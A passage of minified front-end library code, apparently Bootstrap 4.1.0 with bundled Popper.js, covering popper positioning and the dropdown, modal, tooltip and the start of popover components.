0!==o?o:e.gpuAcceleration,a=Kt(kt(t.instance.popper)),l={position:r.position},c={left:Math.floor(r.left),top:Math.floor(r.top),bottom:Math.floor(r.bottom),right:Math.floor(r.right)},f="bottom"===n?"top":"bottom",h="right"===i?"left":"right",u=ee("transform"),d=void 0,p=void 0;if(p="bottom"===f?-a.height+c.bottom:c.top,d="right"===h?-a.width+c.right:c.left,s&&u)l[u]="translate3d("+d+"px, "+p+"px, 0)",l[f]=0,l[h]=0,l.willChange="transform";else{var g="bottom"===f?-1:1,m="right"===h?-1:1;l[f]=p*g,l[h]=d*m,l.willChange=f+", "+h}var _={"x-placement":t.placement};return t.attributes=Ut({},_,t.attributes),t.styles=Ut({},l,t.styles),t.arrowStyles=Ut({},t.offsets.arrow,t.arrowStyles),t},gpuAcceleration:!0,x:"bottom",y:"right"},applyStyle:{order:900,enabled:!0,fn:function(t){var e,n;return se(t.instance.popper,t.styles),e=t.instance.popper,n=t.attributes,Object.keys(n).forEach(function(t){!1!==n[t]?e.setAttribute(t,n[t]):e.removeAttribute(t)}),t.arrowElement&&Object.keys(t.arrowStyles).length&&se(t.arrowElement,t.arrowStyles),t},onLoad:function(t,e,n,i,r){var o=qt(r,e,t,n.positionFixed),s=Gt(n.placement,o,e,t,n.modifiers.flip.boundariesElement,n.modifiers.flip.padding);return e.setAttribute("x-placement",s),se(e,{position:n.positionFixed?"fixed":"absolute"}),n},gpuAcceleration:void 0}}},pe=function(){function o(t,e){var n=this,i=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};Ht(this,o),this.scheduleUpdate=function(){return requestAnimationFrame(n.update)},this.update=wt(this.update.bind(this)),this.options=Ut({},o.Defaults,i),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=t&&t.jquery?t[0]:t,this.popper=e&&e.jquery?e[0]:e,this.options.modifiers={},Object.keys(Ut({},o.Defaults.modifiers,i.modifiers)).forEach(function(t){n.options.modifiers[t]=Ut({},o.Defaults.modifiers[t]||{},i.modifiers?i.modifiers[t]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(t){return Ut({name:t},n.options.modifiers[t])}).sort(function(t,e){return t.order-e.order}),this.modifiers.forEach(function(t){t.enabled&&It(t.onLoad)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var r=this.options.eventsEnabled;r&&this.enableEventListeners(),this.state.eventsEnabled=r}return Wt(o,[{key:"update",value:function(){return function(){if(!this.state.isDestroyed){var t={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};t.offsets.reference=qt(this.state,this.popper,this.reference,this.options.positionFixed),t.placement=Gt(this.options.placement,t.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),t.originalPlacement=t.placement,t.positionFixed=this.options.positionFixed,t.offsets.popper=Jt(this.popper,t.offsets.reference,t.placement),t.offsets.popper.position=this.options.positionFixed?"fixed":"absolute",t=$t(this.modifiers,t),this.state.isCreated?this.options.onUpdate(t):(this.state.isCreated=!0,this.options.onCreate(t))}}.call(this)}},{key:"destroy",value:function(){return function(){return this.state.isDestroyed=!0,te(this.modifiers,"applyStyle")&&(this.popper.removeAttribute("x-placement"),this.popper.style.position="",this.popper.style.top="",this.popper.style.left="",this.popper.style.right="",this.popper.style.bottom="",this.popper.style.willChange="",this.popper.style[ee("transform")]=""),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}.call(this)}},{key:"enableEventListeners",value:function(){return function(){this.state.eventsEnabled||(this.state=ie(this.reference,this.options,this.state,this.scheduleUpdate))}.call(this)}},{key:"disableEventListeners",value:function(){return re.call(this)}}]),o}();pe.Utils=("undefined"!=typeof window?window:global).PopperUtils,pe.placements=le,pe.Defaults=de;var ge,me,_e,ve,Ee,ye,be,Te,Ce,we,Ie,De,Ae,Se,Oe,Ne,ke,Le,Pe,xe,je,Re,Me,He,We,Fe,Ue,Be,Ke,Ve,Qe,Ye,Ge,qe,ze,Xe,Je,Ze,$e,tn,en,nn,rn,on,sn,an,ln,cn,fn,hn,un,dn,pn,gn,mn,_n,vn,En,yn,bn,Tn,Cn,wn,In,Dn,An,Sn,On,Nn,kn,Ln,Pn,xn,jn,Rn,Mn,Hn,Wn,Fn,Un,Bn,Kn,Vn,Qn,Yn,Gn,qn,zn,Xn,Jn,Zn,$n,ti,ei,ni,ii,ri,oi,si,ai,li,ci,fi,hi,ui,di,pi,gi,mi,_i,vi,Ei,yi,bi=(me="dropdown",ve="."+(_e="bs.dropdown"),Ee=".data-api",ye=(ge=e).fn[me],be=new RegExp("38|40|27"),Te={HIDE:"hide"+ve,HIDDEN:"hidden"+ve,SHOW:"show"+ve,SHOWN:"shown"+ve,CLICK:"click"+ve,CLICK_DATA_API:"click"+ve+Ee,KEYDOWN_DATA_API:"keydown"+ve+Ee,KEYUP_DATA_API:"keyup"+ve+Ee},Ce="disabled",we="show",Ie="dropup",De="dropright",Ae="dropleft",Se="dropdown-menu-right",Oe="position-static",Ne='[data-toggle="dropdown"]',ke=".dropdown form",Le=".dropdown-menu",Pe=".navbar-nav",xe=".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",je="top-start",Re="top-end",Me="bottom-start",He="bottom-end",We="right-start",Fe="left-start",Ue={offset:0,flip:!0,boundary:"scrollParent",reference:"toggle",display:"dynamic"},Be={offset:"(number|string|function)",flip:"boolean",boundary:"(string|element)",reference:"(string|element)",display:"string"},Ke=function(){function l(t,e){this._element=t,this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var t=l.prototype;return t.toggle=function(){if(!this._element.disabled&&!ge(this._element).hasClass(Ce)){var t=l._getParentFromElement(this._element),e=ge(this._menu).hasClass(we);if(l._clearMenus(),!e){var n={relatedTarget:this._element},i=ge.Event(Te.SHOW,n);if(ge(t).trigger(i),!i.isDefaultPrevented()){if(!this._inNavbar){if("undefined"==typeof pe)throw new TypeError("Bootstrap dropdown require Popper.js (https://popper.js.org)");var r=this._element;"parent"===this._config.reference?r=t:gt.isElement(this._config.reference)&&(r=this._config.reference,"undefined"!=typeof this._config.reference.jquery&&(r=this._config.reference[0])),"scrollParent"!==this._config.boundary&&ge(t).addClass(Oe),this._popper=new pe(r,this._menu,this._getPopperConfig())}"ontouchstart"in document.documentElement&&0===ge(t).closest(Pe).length&&ge(document.body).children().on("mouseover",null,ge.noop),this._element.focus(),this._element.setAttribute("aria-expanded",!0),ge(this._menu).toggleClass(we),ge(t).toggleClass(we).trigger(ge.Event(Te.SHOWN,n))}}}},t.dispose=function(){ge.removeData(this._element,_e),ge(this._element).off(ve),this._element=null,(this._menu=null)!==this._popper&&(this._popper.destroy(),this._popper=null)},t.update=function(){this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},t._addEventListeners=function(){var e=this;ge(this._element).on(Te.CLICK,function(t){t.preventDefault(),t.stopPropagation(),e.toggle()})},t._getConfig=function(t){return t=c({},this.constructor.Default,ge(this._element).data(),t),gt.typeCheckConfig(me,t,this.constructor.DefaultType),t},t._getMenuElement=function(){if(!this._menu){var t=l._getParentFromElement(this._element);this._menu=ge(t).find(Le)[0]}return this._menu},t._getPlacement=function(){var t=ge(this._element).parent(),e=Me;return t.hasClass(Ie)?(e=je,ge(this._menu).hasClass(Se)&&(e=Re)):t.hasClass(De)?e=We:t.hasClass(Ae)?e=Fe:ge(this._menu).hasClass(Se)&&(e=He),e},t._detectNavbar=function(){return 0<ge(this._element).closest(".navbar").length},t._getPopperConfig=function(){var e=this,t={};"function"==typeof this._config.offset?t.fn=function(t){return t.offsets=c({},t.offsets,e._config.offset(t.offsets)||{}),t}:t.offset=this._config.offset;var n={placement:this._getPlacement(),modifiers:{offset:t,flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(n.modifiers.applyStyle={enabled:!1}),n},l._jQueryInterface=function(e){return this.each(function(){var t=ge(this).data(_e);if(t||(t=new l(this,"object"==typeof e?e:null),ge(this).data(_e,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},l._clearMenus=function(t){if(!t||3!==t.which&&("keyup"!==t.type||9===t.which))for(var e=ge.makeArray(ge(Ne)),n=0;n<e.length;n++){var i=l._getParentFromElement(e[n]),r=ge(e[n]).data(_e),o={relatedTarget:e[n]};if(r){var s=r._menu;if(ge(i).hasClass(we)&&!(t&&("click"===t.type&&/input|textarea/i.test(t.target.tagName)||"keyup"===t.type&&9===t.which)&&ge.contains(i,t.target))){var a=ge.Event(Te.HIDE,o);ge(i).trigger(a),a.isDefaultPrevented()||("ontouchstart"in document.documentElement&&ge(document.body).children().off("mouseover",null,ge.noop),e[n].setAttribute("aria-expanded","false"),ge(s).removeClass(we),ge(i).removeClass(we).trigger(ge.Event(Te.HIDDEN,o)))}}}},l._getParentFromElement=function(t){var e,n=gt.getSelectorFromElement(t);return n&&(e=ge(n)[0]),e||t.parentNode},l._dataApiKeydownHandler=function(t){if((/input|textarea/i.test(t.target.tagName)?!(32===t.which||27!==t.which&&(40!==t.which&&38!==t.which||ge(t.target).closest(Le).length)):be.test(t.which))&&(t.preventDefault(),t.stopPropagation(),!this.disabled&&!ge(this).hasClass(Ce))){var e=l._getParentFromElement(this),n=ge(e).hasClass(we);if((n||27===t.which&&32===t.which)&&(!n||27!==t.which&&32!==t.which)){var i=ge(e).find(xe).get();if(0!==i.length){var r=i.indexOf(t.target);38===t.which&&0<r&&r--,40===t.which&&r<i.length-1&&r++,r<0&&(r=0),i[r].focus()}}else{if(27===t.which){var o=ge(e).find(Ne)[0];ge(o).trigger("focus")}ge(this).trigger("click")}}},s(l,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return Ue}},{key:"DefaultType",get:function(){return Be}}]),l}(),ge(document).on(Te.KEYDOWN_DATA_API,Ne,Ke._dataApiKeydownHandler).on(Te.KEYDOWN_DATA_API,Le,Ke._dataApiKeydownHandler).on(Te.CLICK_DATA_API+" "+Te.KEYUP_DATA_API,Ke._clearMenus).on(Te.CLICK_DATA_API,Ne,function(t){t.preventDefault(),t.stopPropagation(),Ke._jQueryInterface.call(ge(this),"toggle")}).on(Te.CLICK_DATA_API,ke,function(t){t.stopPropagation()}),ge.fn[me]=Ke._jQueryInterface,ge.fn[me].Constructor=Ke,ge.fn[me].noConflict=function(){return ge.fn[me]=ye,Ke._jQueryInterface},Ke),Ti=(Qe="modal",Ge="."+(Ye="bs.modal"),qe=(Ve=e).fn[Qe],ze={backdrop:!0,keyboard:!0,focus:!0,show:!0},Xe={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean",show:"boolean"},Je={HIDE:"hide"+Ge,HIDDEN:"hidden"+Ge,SHOW:"show"+Ge,SHOWN:"shown"+Ge,FOCUSIN:"focusin"+Ge,RESIZE:"resize"+Ge,CLICK_DISMISS:"click.dismiss"+Ge,KEYDOWN_DISMISS:"keydown.dismiss"+Ge,MOUSEUP_DISMISS:"mouseup.dismiss"+Ge,MOUSEDOWN_DISMISS:"mousedown.dismiss"+Ge,CLICK_DATA_API:"click"+Ge+".data-api"},Ze="modal-scrollbar-measure",$e="modal-backdrop",tn="modal-open",en="fade",nn="show",rn={DIALOG:".modal-dialog",DATA_TOGGLE:'[data-toggle="modal"]',DATA_DISMISS:'[data-dismiss="modal"]',FIXED_CONTENT:".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",STICKY_CONTENT:".sticky-top",NAVBAR_TOGGLER:".navbar-toggler"},on=function(){function r(t,e){this._config=this._getConfig(e),this._element=t,this._dialog=Ve(t).find(rn.DIALOG)[0],this._backdrop=null,this._isShown=!1,this._isBodyOverflowing=!1,this._ignoreBackdropClick=!1,this._scrollbarWidth=0}var t=r.prototype;return t.toggle=function(t){return this._isShown?this.hide():this.show(t)},t.show=function(t){var e=this;if(!this._isTransitioning&&!this._isShown){Ve(this._element).hasClass(en)&&(this._isTransitioning=!0);var n=Ve.Event(Je.SHOW,{relatedTarget:t});Ve(this._element).trigger(n),this._isShown||n.isDefaultPrevented()||(this._isShown=!0,this._checkScrollbar(),this._setScrollbar(),this._adjustDialog(),Ve(document.body).addClass(tn),this._setEscapeEvent(),this._setResizeEvent(),Ve(this._element).on(Je.CLICK_DISMISS,rn.DATA_DISMISS,function(t){return e.hide(t)}),Ve(this._dialog).on(Je.MOUSEDOWN_DISMISS,function(){Ve(e._element).one(Je.MOUSEUP_DISMISS,function(t){Ve(t.target).is(e._element)&&(e._ignoreBackdropClick=!0)})}),this._showBackdrop(function(){return e._showElement(t)}))}},t.hide=function(t){var e=this;if(t&&t.preventDefault(),!this._isTransitioning&&this._isShown){var n=Ve.Event(Je.HIDE);if(Ve(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){this._isShown=!1;var i=Ve(this._element).hasClass(en);if(i&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),Ve(document).off(Je.FOCUSIN),Ve(this._element).removeClass(nn),Ve(this._element).off(Je.CLICK_DISMISS),Ve(this._dialog).off(Je.MOUSEDOWN_DISMISS),i){var r=gt.getTransitionDurationFromElement(this._element);Ve(this._element).one(gt.TRANSITION_END,function(t){return e._hideModal(t)}).emulateTransitionEnd(r)}else this._hideModal()}}},t.dispose=function(){Ve.removeData(this._element,Ye),Ve(window,document,this._element,this._backdrop).off(Ge),this._config=null,this._element=null,this._dialog=null,this._backdrop=null,this._isShown=null,this._isBodyOverflowing=null,this._ignoreBackdropClick=null,this._scrollbarWidth=null},t.handleUpdate=function(){this._adjustDialog()},t._getConfig=function(t){return t=c({},ze,t),gt.typeCheckConfig(Qe,t,Xe),t},t._showElement=function(t){var e=this,n=Ve(this._element).hasClass(en);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.scrollTop=0,n&&gt.reflow(this._element),Ve(this._element).addClass(nn),this._config.focus&&this._enforceFocus();var i=Ve.Event(Je.SHOWN,{relatedTarget:t}),r=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,Ve(e._element).trigger(i)};if(n){var o=gt.getTransitionDurationFromElement(this._element);Ve(this._dialog).one(gt.TRANSITION_END,r).emulateTransitionEnd(o)}else r()},t._enforceFocus=function(){var e=this;Ve(document).off(Je.FOCUSIN).on(Je.FOCUSIN,function(t){document!==t.target&&e._element!==t.target&&0===Ve(e._element).has(t.target).length&&e._element.focus()})},t._setEscapeEvent=function(){var e=this;this._isShown&&this._config.keyboard?Ve(this._element).on(Je.KEYDOWN_DISMISS,function(t){27===t.which&&(t.preventDefault(),e.hide())}):this._isShown||Ve(this._element).off(Je.KEYDOWN_DISMISS)},t._setResizeEvent=function(){var e=this;this._isShown?Ve(window).on(Je.RESIZE,function(t){return e.handleUpdate(t)}):Ve(window).off(Je.RESIZE)},t._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._isTransitioning=!1,this._showBackdrop(function(){Ve(document.body).removeClass(tn),t._resetAdjustments(),t._resetScrollbar(),Ve(t._element).trigger(Je.HIDDEN)})},t._removeBackdrop=function(){this._backdrop&&(Ve(this._backdrop).remove(),this._backdrop=null)},t._showBackdrop=function(t){var e=this,n=Ve(this._element).hasClass(en)?en:"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className=$e,n&&Ve(this._backdrop).addClass(n),Ve(this._backdrop).appendTo(document.body),Ve(this._element).on(Je.CLICK_DISMISS,function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===e._config.backdrop?e._element.focus():e.hide())}),n&&gt.reflow(this._backdrop),Ve(this._backdrop).addClass(nn),!t)return;if(!n)return void t();var i=gt.getTransitionDurationFromElement(this._backdrop);Ve(this._backdrop).one(gt.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){Ve(this._backdrop).removeClass(nn);var r=function(){e._removeBackdrop(),t&&t()};if(Ve(this._element).hasClass(en)){var o=gt.getTransitionDurationFromElement(this._backdrop);Ve(this._backdrop).one(gt.TRANSITION_END,r).emulateTransitionEnd(o)}else r()}else t&&t()},t._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},t._setScrollbar=function(){var r=this;if(this._isBodyOverflowing){Ve(rn.FIXED_CONTENT).each(function(t,e){var n=Ve(e)[0].style.paddingRight,i=Ve(e).css("padding-right");Ve(e).data("padding-right",n).css("padding-right",parseFloat(i)+r._scrollbarWidth+"px")}),Ve(rn.STICKY_CONTENT).each(function(t,e){var n=Ve(e)[0].style.marginRight,i=Ve(e).css("margin-right");Ve(e).data("margin-right",n).css("margin-right",parseFloat(i)-r._scrollbarWidth+"px")}),Ve(rn.NAVBAR_TOGGLER).each(function(t,e){var n=Ve(e)[0].style.marginRight,i=Ve(e).css("margin-right");Ve(e).data("margin-right",n).css("margin-right",parseFloat(i)+r._scrollbarWidth+"px")});var t=document.body.style.paddingRight,e=Ve(document.body).css("padding-right");Ve(document.body).data("padding-right",t).css("padding-right",parseFloat(e)+this._scrollbarWidth+"px")}},t._resetScrollbar=function(){Ve(rn.FIXED_CONTENT).each(function(t,e){var n=Ve(e).data("padding-right");"undefined"!=typeof n&&Ve(e).css("padding-right",n).removeData("padding-right")}),Ve(rn.STICKY_CONTENT+", "+rn.NAVBAR_TOGGLER).each(function(t,e){var n=Ve(e).data("margin-right");"undefined"!=typeof n&&Ve(e).css("margin-right",n).removeData("margin-right")});var t=Ve(document.body).data("padding-right");"undefined"!=typeof t&&Ve(document.body).css("padding-right",t).removeData("padding-right")},t._getScrollbarWidth=function(){var t=document.createElement("div");t.className=Ze,document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},r._jQueryInterface=function(n,i){return this.each(function(){var t=Ve(this).data(Ye),e=c({},r.Default,Ve(this).data(),"object"==typeof n&&n);if(t||(t=new r(this,e),Ve(this).data(Ye,t)),"string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n](i)}else e.show&&t.show(i)})},s(r,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return ze}}]),r}(),Ve(document).on(Je.CLICK_DATA_API,rn.DATA_TOGGLE,function(t){var e,n=this,i=gt.getSelectorFromElement(this);i&&(e=Ve(i)[0]);var r=Ve(e).data(Ye)?"toggle":c({},Ve(e).data(),Ve(this).data());"A"!==this.tagName&&"AREA"!==this.tagName||t.preventDefault();var o=Ve(e).one(Je.SHOW,function(t){t.isDefaultPrevented()||o.one(Je.HIDDEN,function(){Ve(n).is(":visible")&&n.focus()})});on._jQueryInterface.call(Ve(e),r,this)}),Ve.fn[Qe]=on._jQueryInterface,Ve.fn[Qe].Constructor=on,Ve.fn[Qe].noConflict=function(){return Ve.fn[Qe]=qe,on._jQueryInterface},on),Ci=(an="tooltip",cn="."+(ln="bs.tooltip"),fn=(sn=e).fn[an],hn="bs-tooltip",un=new RegExp("(^|\\s)"+hn+"\\S+","g"),gn={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!(pn={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(dn={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},_n="out",vn={HIDE:"hide"+cn,HIDDEN:"hidden"+cn,SHOW:(mn="show")+cn,SHOWN:"shown"+cn,INSERTED:"inserted"+cn,CLICK:"click"+cn,FOCUSIN:"focusin"+cn,FOCUSOUT:"focusout"+cn,MOUSEENTER:"mouseenter"+cn,MOUSELEAVE:"mouseleave"+cn},En="fade",yn="show",bn=".tooltip-inner",Tn=".arrow",Cn="hover",wn="focus",In="click",Dn="manual",An=function(){function i(t,e){if("undefined"==typeof pe)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=sn(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(sn(this.getTipElement()).hasClass(yn))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),sn.removeData(this.element,this.constructor.DATA_KEY),sn(this.element).off(this.constructor.EVENT_KEY),sn(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&sn(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===sn(this.element).css("display"))throw new Error("Please use show on visible elements");var t=sn.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){sn(this.element).trigger(t);var n=sn.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=gt.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&sn(i).addClass(En);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,s=this._getAttachment(o);this.addAttachmentClass(s);var a=!1===this.config.container?document.body:sn(this.config.container);sn(i).data(this.constructor.DATA_KEY,this),sn.contains(this.element.ownerDocument.documentElement,this.tip)||sn(i).appendTo(a),sn(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new pe(this.element,i,{placement:s,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:Tn},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){e._handlePopperPlacementChange(t)}}),sn(i).addClass(yn),"ontouchstart"in document.documentElement&&sn(document.body).children().on("mouseover",null,sn.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,sn(e.element).trigger(e.constructor.Event.SHOWN),t===_n&&e._leave(null,e)};if(sn(this.tip).hasClass(En)){var c=gt.getTransitionDurationFromElement(this.tip);sn(this.tip).one(gt.TRANSITION_END,l).emulateTransitionEnd(c)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=sn.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==mn&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),sn(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(sn(this.element).trigger(i),!i.isDefaultPrevented()){if(sn(n).removeClass(yn),"ontouchstart"in document.documentElement&&sn(document.body).children().off("mouseover",null,sn.noop),this._activeTrigger[In]=!1,this._activeTrigger[wn]=!1,this._activeTrigger[Cn]=!1,sn(this.tip).hasClass(En)){var o=gt.getTransitionDurationFromElement(n);sn(n).one(gt.TRANSITION_END,r).emulateTransitionEnd(o)}else r();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){sn(this.getTipElement()).addClass(hn+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||sn(this.config.template)[0],this.tip},t.setContent=function(){var t=sn(this.getTipElement());this.setElementContent(t.find(bn),this.getTitle()),t.removeClass(En+" "+yn)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?sn(e).parent().is(t)||t.empty().append(e):t.text(sn(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=function(t){return pn[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)sn(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==Dn){var e=t===Cn?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===Cn?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;sn(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}sn(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=c({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||sn(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?wn:Cn]=!0),sn(e.getTipElement()).hasClass(yn)||e._hoverState===mn?e._hoverState=mn:(clearTimeout(e._timeout),e._hoverState=mn,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===mn&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||sn(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?wn:Cn]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=_n,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===_n&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=c({},this.constructor.Default,sn(this.element).data(),t)).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),gt.typeCheckConfig(an,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=sn(this.getTipElement()),e=t.attr("class").match(un);null!==e&&0<e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(sn(t).removeClass(En),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=sn(this).data(ln),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),sn(this).data(ln,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return gn}},{key:"NAME",get:function(){return an}},{key:"DATA_KEY",get:function(){return ln}},{key:"Event",get:function(){return vn}},{key:"EVENT_KEY",get:function(){return cn}},{key:"DefaultType",get:function(){return dn}}]),i}(),sn.fn[an]=An._jQueryInterface,sn.fn[an].Constructor=An,sn.fn[an].noConflict=function(){return sn.fn[an]=fn,An._jQueryInterface},An),wi=(On="popover",kn="."+(Nn="bs.popover"),Ln=(Sn=e).fn[On],Pn="bs-popover",xn=new RegExp("(^|\\s)"+Pn+"\\S+","g"),jn=c({},Ci.Default,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'}),Rn=c({},Ci.DefaultType,{content:"(string|element|function)"}),Mn="fade",Wn=".popover-header",Fn=".popover-body",Un={HIDE:"hide"+kn,HIDDEN:"hidden"+kn,SHOW:(Hn="show")+kn,SHOWN:"shown"+kn,INSERTED:"inserted"+kn,CLICK:"click"+kn,FOCUSIN:"focusin"+kn,FOCUSOUT:"focusout"+kn,MOUSEENTER:"mouseenter"+kn,MOUSELEAVE:"mouseleave"+kn},Bn=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){Sn(this.getTipElement()).addClass(Pn+"-"+t)},r.getTipElement=function(){return 